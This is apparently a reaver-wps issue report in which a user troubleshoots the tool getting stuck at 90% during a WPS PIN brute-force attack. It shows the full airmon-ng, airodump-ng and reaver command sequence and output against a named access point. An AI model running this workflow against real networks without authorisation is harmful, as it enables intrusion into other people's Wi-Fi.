reaver starts at 90% with any pin

Directly starts on 90% whatever I do….if I let it continue it will stuck on 
that forever with fix pin, if variable option is given it will stuck at 99%. I 
had previously successfully used the same method … what is going wrong now

sudo systemctl stop NetworkManager.service
sudo ifconfig wlan1 down
sudo ifconfig wlan0 down
sudo airmon-ng 

Interface   Chipset     Driver

wlan0       Broadcom    wl - [phy0]
wlan1       Realtek RTL8187L    rtl8187 - [phy5]

============================================================
sudo airmon-ng start wlan1

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
750 avahi-daemon
818 avahi-daemon
1168    wpa_supplicant

Interface   Chipset     Driver

wlan0       Broadcom    wl - [phy0]
wlan1       Realtek RTL8187L    rtl8187 - [phy5]
                (monitor mode enabled on mon0)
=================================================================
sudo airodump-ng mon0

CH 14 ][ Elapsed: 4 s ][ 2015-06-02 11:50                                       

 BSSID          PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:18:25:12:DA:C5   -1      0   0    0  -1  -1         <length:  0>             

FF:AA:CC:KK:EE:A4  -69      8   0    0  11  54e  WPA2 CCMP   PSK  Plz_hack_me 

================================================================
router@router-Inspiron-3421:~$ sudo reaver -i mon0 -b  FF:AA:CC:KK:EE:A4 -v -p 
15540713 -c 11

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from FF:AA:CC:KK:EE:A4
[+] Associated with FF:AA:CC:KK:EE:A4 (ESSID: Plz_hack_me  )
[+] Trying pin 15540713
[+] Trying pin 15540713
[+] Trying pin 15540713
[+] Trying pin 15540713
[+] Trying pin 15540713
[+] Trying pin 15540713
[+] 90.96% complete @ 2015-06-02 11:54:46 (2 seconds/pin)
[+] Trying pin 15540713
[+] Trying pin 15540713

===================================================================
router@router-Inspiron-3421:~$ sudo reaver -i mon0 -b  FF:AA:CC:KK:EE:A4 -v 

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from FF:AA:CC:KK:EE:A4
[+] Associated with FF:AA:CC:KK:EE:A4 (ESSID: Plz_hack_me )
[+] Trying pin 12345670
[+] Trying pin 12340002
[+] Trying pin 12342228
[+] Trying pin 12343331
[+] Trying pin 12344444
[+] Trying pin 12344444
[+] 90.95% complete @ 2015-06-02 11:58:49 (2 seconds/pin)
[+] Trying pin 12345557
[+] Trying pin 12346660
[+] Trying pin 12347773
[+] Trying pin 12347773
[+] Trying pin 12348886
[+] 90.99% complete @ 2015-06-02 11:59:00 (2 seconds/pin)
[+] Trying pin 12349999
[+] Trying pin 12340019
Original issue reported on code.google.com by nazar2sf...@gmail.com on 2 Jun 2015 at 6:34
HackerBoy043 / reaver-wps

reaver starts at 90% with any pin #728
